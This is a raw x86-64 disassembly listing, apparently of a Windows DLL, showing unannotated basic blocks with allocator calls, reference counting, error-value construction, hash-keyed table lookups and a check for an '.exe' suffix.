mov byte [rsp + 0x20], 1
lea rcx, [rsp + 0x180]
mov r9, rsi
call fcn.180039890
mov eax, dword [rsp + 0x180]
test eax, eax
je 0x18004fa26
mov r14d, dword [rsp + 0x184]
mov rbx, qword [rsp + 0x188]
mov ebp, dword [rsp + 0x190]
movd xmm0, r14d
movd xmm6, eax
punpckldq xmm6, xmm0
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x18004fc9d
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor edi, edi
jmp 0x18004fca8
cmp qword [rsp + 0x48], 0
je 0x18004e9ff
mov rsi, qword [rsp + 0x50]
mov rax, qword [rsp + 0xd0]
mov rdx, qword [rax]
mov r8, qword [rax + 8]
mov byte [rsp + 0x20], 1
lea rcx, [rsp + 0x180]
mov r9, rsi
call fcn.180039890
mov eax, dword [rsp + 0x180]
test eax, eax
je 0x18004fa34
mov r14d, dword [rsp + 0x184]
mov rbx, qword [rsp + 0x188]
mov ebp, dword [rsp + 0x190]
movd xmm0, r14d
movd xmm6, eax
punpckldq xmm6, xmm0
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x18004fd2b
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor edi, edi
jmp 0x18004fd36
cmp qword [rsp + 0x48], 0
je 0x18004fb0f
mov r15, qword [rsp + 0x50]
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 5
lea r9, [0x180072700]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xd0]
mov r8, r15
call fcn.180062990
mov ebp, dword [rsp + 0x40]
test ebp, ebp
je 0x18004fa42
mov esi, dword [rsp + 0x44]
mov rdi, qword [rsp + 0x48]
mov ebx, dword [rsp + 0x50]
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x18004fdef
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004fdfd
cmp qword [rsp + 0x48], 0
je 0x18004ee3d
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x180072948]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [r12 + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0xb20f336b
mov r8d, 0xffff1c93
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x18004ee3d
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
jmp 0x18004ee3d
mov rax, qword [rsp + 0x188]
mov rsi, qword [rsp + 0x190]
mov r14, qword [rax + 0x20]
test r14, r14
je 0x180056372
lea r15, [rbp + 0x1000]
mov r12, qword [rax + 0x18]
xor r8d, r8d
mov eax, 0xff
mov rcx, r14
mov rdx, r14
jmp 0x18004f6ec
mov rdx, rcx
sub rcx, r8
jbe 0x180056372
shr rcx, 1
add rcx, r8
mov r9, rcx
shl r9, 5
xor r10d, r10d
cmp dword [r12 + r9 + 0x18], 0x2dd2b3ce
setne r10b
cmovb r10d, eax
cmp r10b, 1
je 0x18004f6e0
movzx r8d, r10b
cmp r8d, 0xff
jne 0x18004fb1c
inc rcx
mov r8, rcx
mov rcx, rdx
sub rcx, r8
ja 0x18004f6ec
jmp 0x180056372
mov rax, qword [rsp + 0x188]
mov qword [rax], rdi
mov dword [rax + 8], ebx
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5cb5
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x78]
mov edx, dword [rsp + 0x7c]
mov dword [rsp + 0x40], esi
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x4c], ecx
mov dword [rsp + 0x50], edx
jmp 0x18004e313
mov rax, qword [rsp + 0x188]
mov qword [rax], rbx
mov dword [rax + 8], ebp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5d09
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x78]
mov edx, dword [rsp + 0x7c]
mov dword [rsp + 0x40], esi
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x4c], ecx
mov dword [rsp + 0x50], edx
jmp 0x18004e532
mov rax, qword [rsp + 0x188]
mov qword [rax], rdi
mov dword [rax + 8], ebx
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5d4e
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x78]
mov edx, dword [rsp + 0x7c]
mov dword [rsp + 0x40], esi
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x4c], ecx
mov dword [rsp + 0x50], edx
jmp 0x18004e74f
mov rax, qword [rsp + 0x188]
mov qword [rax], rdi
mov dword [rax + 8], ebx
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5d78
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x78]
mov edx, dword [rsp + 0x7c]
mov dword [rsp + 0x40], esi
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x4c], ecx
mov dword [rsp + 0x50], edx
jmp 0x18004e988
mov rax, qword [rsp + 0x188]
mov qword [rax], rdi
mov dword [rax + 8], ebx
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5dbc
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x78]
mov edx, dword [rsp + 0x7c]
mov dword [rsp + 0x40], esi
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x4c], ecx
mov dword [rsp + 0x50], edx
jmp 0x18004ebc1
mov rax, qword [rsp + 0x188]
mov qword [rax], rbx
mov dword [rax + 8], ebp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5df1
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x78]
mov edx, dword [rsp + 0x7c]
mov dword [rsp + 0x40], esi
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x4c], ecx
mov dword [rsp + 0x50], edx
jmp 0x18004ede0
mov rax, qword [rsp + 0x48]
mov qword [rax], rdi
mov dword [rax + 8], ebx
mov r13, qword [rsp + 0xc0]
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5e0a
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x78]
mov edx, dword [rsp + 0x7c]
mov dword [rsp + 0x40], esi
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x4c], ecx
mov dword [rsp + 0x50], edx
jmp 0x18004efc6
xor r10d, r10d
mov edx, 0xff
mov r8, rcx
mov r9, rcx
jmp 0x18004f90a
mov r9, r8
sub r8, r10
jbe 0x180050209
shr r8, 1
add r8, r10
mov r11, r8
shl r11, 5
xor esi, esi
cmp dword [rax + r11 + 0x18], 0x9a89af34
setne sil
cmovb esi, edx
cmp sil, 1
je 0x18004f8fe
movzx r10d, sil
cmp r10d, 0xff
jne 0x1800501a0
inc r8
mov r10, r8
mov r8, r9
sub r8, r10
ja 0x18004f90a
jmp 0x180050209
cmp qword [rsp + 0x48], 0
je 0x1800507a3
mov r8, qword [rsp + 0x50]
add r8, 8
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 1
lea r9, [0x180072158]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xd0]
call fcn.180062990
mov ebp, dword [rsp + 0x40]
test ebp, ebp
je 0x1800506f9
mov esi, dword [rsp + 0x44]
mov rdi, qword [rsp + 0x48]
mov ebx, dword [rsp + 0x50]
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x180050c95
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180050ca3
movzx r14d, byte [rsp + 0x184]
jmp 0x18004fcc3
movzx r14d, byte [rsp + 0x184]
jmp 0x18004fd51
cmp qword [rsp + 0x48], 0
je 0x18004fb0f
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 2
lea r9, [0x180072808]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xd0]
mov r8, r15
call fcn.180062990
mov ebp, dword [rsp + 0x40]
test ebp, ebp
je 0x1800507b0
mov esi, dword [rsp + 0x44]
mov rdi, qword [rsp + 0x48]
mov ebx, dword [rsp + 0x50]
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x180050cbd
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180050ccb
mov r15, qword [rsp + 0x98]
jmp 0x18004ec1e
mov rax, qword [r12 + r9 + 8]
test rax, rax
je 0x180056372
mov rcx, qword [r12 + r9]
xor r9d, r9d
mov edx, 0xff
mov r8, rax
jmp 0x18004fb47
mov r8, rax
sub rax, r9
jbe 0x180056372
shr rax, 1
add rax, r9
mov r11, rax
shl r11, 5
xor r10d, r10d
cmp dword [rcx + r11 + 0x18], 0x7ca4fdf
setne r10b
cmovb r10d, edx
cmp r10b, 1
je 0x18004fb3b
movzx r9d, r10b
cmp r9d, 0xff
jne 0x180050a5e
inc rax
mov r9, rax
mov rax, r8
sub rax, r9
ja 0x18004fb47
jmp 0x180056372
cmp qword [rsp + 0x48], 0
je 0x18004bde9
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x180071368]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [r12 + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0x46ad7733
mov r8d, 0xffff1c77
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x18004bde9
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
jmp 0x18004bde9
mov rax, rbx
mov rbx, qword [rsp + 0x188]
mov qword [rbx], rax
mov dword [rbx + 8], ebp
mov ebp, 0xf03f5a10
jmp 0x180050295
mov rax, qword [rsp + 0x188]
mov qword [rax], rdi
mov dword [rax + 8], ebx
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5c2f
jmp 0x18004dee0
mov rax, qword [rsp + 0x188]
mov qword [rax], rdi
mov dword [rax + 8], ebx
mov r15, qword [rsp + 0x98]
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5cbd
jmp 0x18004f752
mov rdi, qword [rsp + 0x48]
mov qword [rdi], rbx
mov dword [rdi + 8], ebp
movd ebp, xmm6
test ebp, ebp
je 0x18004fcc3
movq rax, xmm6
shr rax, 0x28
mov esi, 0xf03f5d18
jmp 0x1800505b8
inc rsi
mov rax, qword [rsp + 0xd0]
mov rdx, qword [rax]
mov r8, qword [rax + 8]
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x30], 1
mov qword [rsp + 0x28], 3
lea rcx, [rsp + 0x180]
mov r9, rsi
call fcn.180038a10
mov ebp, dword [rsp + 0x180]
test ebp, ebp
je 0x18004fe17
mov r14d, dword [rsp + 0x184]
mov rbx, qword [rsp + 0x188]
mov esi, dword [rsp + 0x190]
jmp 0x180050559
mov rdi, qword [rsp + 0x48]
mov qword [rdi], rbx
mov dword [rdi + 8], ebp
movd ebp, xmm6
test ebp, ebp
je 0x18004fd51
movq rax, xmm6
shr rax, 0x28
mov esi, 0xf03f5d58
jmp 0x1800518f6
test r14b, r14b
jns 0x18004e9ff
mov rax, qword [rsp + 0xd0]
mov rdx, qword [rax]
mov r8, qword [rax + 8]
lea rcx, [rsp + 0x180]
mov r9, rsi
call fcn.1800394f0
mov ebp, dword [rsp + 0x180]
test ebp, ebp
je 0x180050860
mov r14d, dword [rsp + 0x184]
mov rsi, qword [rsp + 0x188]
mov ebx, dword [rsp + 0x190]
mov qword [rsp + 0xa0], rsi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x180051138
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor edi, edi
jmp 0x180051143
mov rax, qword [rsp + 0x188]
mov qword [rax], rdi
mov dword [rax + 8], ebx
mov r15, qword [rsp + 0x98]
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5dba
jmp 0x18004f84a
cmp qword [rsp + 0x188], 3
jne 0x180050547
add r14b, r14b
xor r14b, 0xd0
movzx edx, r14b
lea eax, [rdx*4]
lea eax, [rax + rax*2]
lea ecx, [rdx + rdx*2]
add cl, 0x44
add al, 0xe1
add dl, 0xd1
mov r8d, edx
add cl, 0x8d
add al, 0x34
lea edx, [r8 + 0x2f]
add r8b, 0xb0
cmp r8b, 0xa0
ja 0x18004fe46
xor dl, byte [rsp + 0xf0]
cmp dl, 0x74
jne 0x18004e7c6
mov edx, ecx
add al, 0xbc
lea ecx, [rdx + 0x2f]
add dl, 0xb0
cmp dl, 0xa0
ja 0x18004fe6c
xor cl, byte [rsp + 0xf1]
cmp cl, 0x74
jne 0x18004e7c6
mov ecx, eax
lea eax, [rcx + 0x2f]
add cl, 0xb0
cmp cl, 0xa1
jae 0x18004fe8b
xor al, byte [rsp + 0xf2]
cmp al, 0x70
jne 0x18004e7c6
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x180072588]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [r12 + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0xf565af26
mov r8d, 0xffff1c89
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x18004e7c6
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
jmp 0x18004e7c6
mov rax, qword [rsp + 0xe8]
dec qword [rax]
mov r15, qword [rsp + 0x98]
lea rbp, [rsp + 0x180]
mov rax, qword [r15]
cmp word [rax + 0x182], 3
je 0x18004d366
jmp 0x18004d573
mov rax, qword [rsp + 0x188]
mov qword [rax], rbx
mov dword [rax + 8], ebp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5a74
jmp 0x18004bdad
mov rax, qword [rsp + 0xe8]
dec qword [rax]
mov r13, qword [rsp + 0xc0]
mov r15, qword [rsp + 0x98]
jmp 0x18004e151
mov rax, qword [rax + 0x188]
mov qword [rsp + 0xe8], rax
sub r15, rax
mov eax, ecx
mov r13d, 0xaaaaaaab
imul r13, rax
shr r13, 0x23
dec r13
xor r14d, r14d
jmp 0x18004ffed
inc rsi
mov r14, rsi
cmp r14, r13
jg 0x18004d6b0
lea rax, [r14 + r13]
mov rsi, rax
shr rsi, 0x3f
add rsi, rax
sar rsi, 1
lea eax, [rsi + rsi*2]
lea r12d, [rbx + rax*4]
add r12, qword [rsp + 0xe8]
mov rax, qword [rsp + 0xc0]
mov rdx, qword [rax]
mov r8, qword [rax + 8]
mov byte [rsp + 0x20], 1
lea rcx, [rsp + 0x180]
mov r9, r12
call fcn.180038f70
mov edi, dword [rsp + 0x180]
mov ebp, dword [rsp + 0x184]
test edi, edi
jne 0x180050b30
xor eax, eax
cmp ebp, r15d
setne al
mov ecx, 0xff
cmova eax, ecx
cmp al, 1
je 0x18004ffde
movzx eax, al
cmp eax, 0xff
jne 0x180051418
dec rsi
mov r13, rsi
cmp r14, r13
jle 0x18004ffed
jmp 0x18004d6b0
mov r15, rbx
mov r14d, 0xc76970a8
mov esi, 0x76d4030
mov edi, 0x951604ae
xor ebx, ebx
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], edi
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
mov r12, qword [rsp + 0xc8]
je 0x1800500e3
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x1800500ee
mov rax, qword [rsp + 0x48]
mov qword [rax], rbx
mov dword [rax + 8], edi
mov rbx, r15
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5909
movapd xmm6, xmmword [rsp + 0x70]
mov r15, qword [rsp + 0xe8]
mov rcx, r15
mov rdx, rbx
call fcn.18003bfe0
dec qword [r15]
jne 0x18005015d
inc qword [r15 + 8]
mov rcx, qword [rsp + 0x128]
call fcn.180037510
mov rax, qword [r15 + 8]
dec rax
mov qword [r15 + 8], rax
or rax, qword [r15]
jne 0x18005015d
mov rax, qword [section..data]
lea rcx, [0x180077a08]
mov r8d, 0x58
mov r9d, 8
mov rdx, r15
call qword [rax + 0x20]
test r14d, r14d
mov r15, qword [rsp + 0x98]
jne 0x18004a7d3
jmp 0x18004a80a
mov rsi, qword [rsp + 0x48]
mov qword [rsi], rdi
mov dword [rsi + 8], ebx
mov edi, 0xf03f5afc
jmp 0x1800503b5
mov rsi, qword [rsp + 0x48]
mov qword [rsi], rdi
mov dword [rsi + 8], ebx
mov edi, 0xf03f5afa
mov r12d, r14d
jmp 0x1800503b5
mov rdx, qword [rax + r11 + 8]
test rdx, rdx
je 0x180050209
mov r8, qword [rax + r11]
xor r11d, r11d
mov r9d, 0xff
mov r10, rdx
jmp 0x1800501c4
mov r10, rdx
sub rdx, r11
jbe 0x180050209
shr rdx, 1
add rdx, r11
mov rdi, rdx
shl rdi, 5
xor esi, esi
cmp dword [r8 + rdi + 0x18], 0xd5255547
setne sil
cmovb esi, r9d
cmp sil, 1
je 0x1800501bc
movzx r11d, sil
cmp r11d, 0xff
jne 0x180050ce5
inc rdx
mov r11, rdx
mov rdx, r10
sub rdx, r11
ja 0x1800501c4
xor r9d, r9d
mov edx, 0xff
mov r8, rcx
jmp 0x180050222
mov r8, rcx
sub rcx, r9
jbe 0x180050e6a
shr rcx, 1
add rcx, r9
mov r10, rcx
shl r10, 5
xor r11d, r11d
cmp dword [rax + r10 + 0x18], 0x9a89af34
setne r11b
cmovb r11d, edx
cmp r11b, 1
je 0x180050216
movzx r9d, r11b
cmp r9d, 0xff
jne 0x1800504d1
inc rcx
mov r9, rcx
mov rcx, r8
sub rcx, r9
ja 0x180050222
jmp 0x180050e6a
mov rbx, qword [rsp + 0x48]
mov qword [rbx], r14
mov dword [rbx + 8], ebp
mov ebp, 0xf03f5a19
mov r13, qword [rsp + 0xc0]
mov r15, qword [rsp + 0x98]
mov r12, qword [rsp + 0xc8]
movd xmm0, esi
movd xmm6, edi
punpckldq xmm6, xmm0
mov qword [rsp + 0x40], rbx
mov dword [rsp + 0x48], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x1800502e7
lea rcx, [rsp + 0x40]
call fcn.1800366d0
xor eax, eax
jmp 0x1800502f5
mov rax, qword [rsp + 0x188]
mov qword [rax], rbx
mov dword [rax + 8], ebp
movq qword [rsp + 0xd0], xmm6
movzx ecx, byte [rsp + 0xd7]
mov byte [rsp + 0x187], cl
movzx ecx, word [rsp + 0xd5]
mov word [rsp + 0x185], cx
mov dword [rsp + 0x180], edi
mov byte [rsp + 0x184], sil
mov qword [rsp + 0x188], rax
mov dword [rsp + 0x190], 0xf03f5a30
mov rcx, qword [r12 + 0x28]
lea rdx, [0x18007454e]
lea r9, [rsp + 0x180]
mov r8d, 7
call fcn.180057260
jmp 0x18004bc5d
mov rax, qword [rsp + 0x188]
mov qword [rax], r13
mov dword [rax + 8], ebp
mov r13, qword [rsp + 0xc0]
mov qword [rsp + 0xd0], rax
mov dword [rsp + 0xd8], 0x7889950
movdqa xmm0, xmmword [rsp + 0xd0]
mov rax, qword [rsp + 0x128]
dec qword [rax]
jmp 0x180049e44
mov rsi, qword [rsp + 0x48]
mov qword [rsi], rdi
mov dword [rsi + 8], ebx
mov edi, 0xf03f5b0e
mov r13, qword [rsp + 0xc0]
mov r15, qword [rsp + 0x98]
movd xmm0, r12d
movd xmm6, ebp
punpckldq xmm6, xmm0
mov qword [rsp + 0x40], rsi
mov dword [rsp + 0x48], edi
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x180050418
lea rcx, [rsp + 0x40]
call fcn.1800366d0
xor eax, eax
jmp 0x180050426
mov rax, qword [rsp + 0x188]
mov qword [rax], rsi
mov dword [rax + 8], edi
movq qword [rsp + 0x70], xmm6
movzx ecx, byte [rsp + 0x77]
mov byte [rsp + 0x187], cl
movzx ecx, word [rsp + 0x75]
mov word [rsp + 0x185], cx
mov dword [rsp + 0x180], ebp
mov byte [rsp + 0x184], r12b
mov qword [rsp + 0x188], rax
mov dword [rsp + 0x190], 0xf03f5b24
mov r12, qword [rsp + 0xc8]
mov rcx, qword [r12 + 0x28]
lea rdx, [0x18007456d]
lea r9, [rsp + 0x180]
mov r8d, 8
call fcn.180057260
jmp 0x18004c276
mov rax, qword [rsp + 0x188]
mov qword [rax], rdi
mov dword [rax + 8], ebx
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0x5d7bdadc
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x78]
mov edx, dword [rsp + 0x7c]
mov dword [rsp + 0x40], esi
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x4c], ecx
mov dword [rsp + 0x50], edx
jmp 0x180049698
mov rcx, qword [rax + r10 + 8]
test rcx, rcx
je 0x180050e6a
mov rax, qword [rax + r10]
xor r9d, r9d
mov edx, 0xff
mov r8, rcx
jmp 0x1800504fc
mov r8, rcx
sub rcx, r9
jbe 0x180050e6a
shr rcx, 1
add rcx, r9
mov r11, rcx
shl r11, 5
xor r10d, r10d
cmp dword [rax + r11 + 0x18], 0x8f980a9b
setne r10b
cmovb r10d, edx
cmp r10b, 1
je 0x1800504f0
movzx r9d, r10b
cmp r9d, 0xff
jne 0x180050ce5
inc rcx
mov r9, rcx
mov rcx, r8
sub rcx, r9
ja 0x1800504fc
jmp 0x180050e6a
mov esi, 0x951604ae
mov r14d, 0x76d4030
mov ebp, 0xc76970a8
xor ebx, ebx
mov qword [rsp + 0x40], rbx
mov dword [rsp + 0x48], esi
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x18005059f
lea rcx, [rsp + 0x40]
call fcn.1800366d0
xor edi, edi
jmp 0x1800505ad
mov rdi, qword [rsp + 0x188]
mov qword [rdi], rbx
mov dword [rdi + 8], esi
mov eax, r14d
shr eax, 8
mov esi, 0xf03f5d24
shl eax, 8
movzx ecx, r14b
or ecx, eax
movd xmm0, ecx
movd xmm6, ebp
punpckldq xmm6, xmm0
mov qword [rsp + 0x40], rdi
mov dword [rsp + 0x48], esi
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x180050613
lea rcx, [rsp + 0x40]
call fcn.1800366d0
xor eax, eax
jmp 0x180050621
mov rax, qword [rsp + 0x188]
mov qword [rax], rdi
mov dword [rax + 8], esi
movq qword [rsp + 0x70], xmm6
movzx ecx, word [rsp + 0x75]
mov word [rsp + 0x41], cx
movzx ecx, byte [rsp + 0x77]
mov byte [rsp + 0x43], cl
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x4c], 0xf03f5d4a
mov byte [rsp + 0x40], r14b
jmp 0x18004e74f
cmp qword [rsp + 0x48], 0
je 0x18004d8e2
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x180071e90]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [r12 + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0xa424d249
mov r8d, 0xffff1c84
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x18004d8e2
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
jmp 0x18004d8e2
cmp qword [rsp + 0x48], 0
je 0x1800507a3
mov rsi, qword [rsp + 0x50]
mov rax, qword [rsp + 0xd0]
mov rdx, qword [rax]
mov r8, qword [rax + 8]
mov byte [rsp + 0x20], 1
lea rcx, [rsp + 0x180]
mov r9, r15
call fcn.180039690
mov ebp, dword [rsp + 0x180]
test ebp, ebp
je 0x180051837
mov esi, dword [rsp + 0x184]
mov rdi, qword [rsp + 0x188]
mov ebx, dword [rsp + 0x190]
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x180051d8d
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180051d98
mov r15, qword [rsp + 0x98]
jmp 0x18004e370
cmp qword [rsp + 0x48], 0
mov r15, qword [rsp + 0x98]
je 0x18004ec1e
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x180072848]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [r12 + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0x2488d7d2
mov r8d, 0xffff1c88
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x18004ec1e
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
jmp 0x18004ec1e
mov rbx, qword [rsp + 0x188]
mov rdi, qword [rsp + 0x190]
add rsi, 0x10
mov rax, qword [rsp + 0xd0]
mov rdx, qword [rax]
mov r8, qword [rax + 8]
lea rcx, [rsp + 0x180]
mov r9, rsi
call fcn.1800394f0
mov ebp, dword [rsp + 0x180]
test ebp, ebp
je 0x18005134e
mov r14d, dword [rsp + 0x184]
mov rsi, qword [rsp + 0x188]
mov ebx, dword [rsp + 0x190]
mov qword [rsp + 0xa0], rsi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x1800518e0
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor edi, edi
jmp 0x1800518eb
mov eax, 1
cmp dword [rsp + 0x181], 0x6578652e
je 0x180050a05
mov eax, 2
cmp dword [rsp + 0x182], 0x6578652e
je 0x180050a05
mov eax, 3
cmp dword [rsp + 0x183], 0x6578652e
je 0x180050a05
mov eax, 4
cmp dword [rsp + 0x184], 0x6578652e
je 0x180050a05
mov eax, 5
cmp dword [rsp + 0x185], 0x6578652e
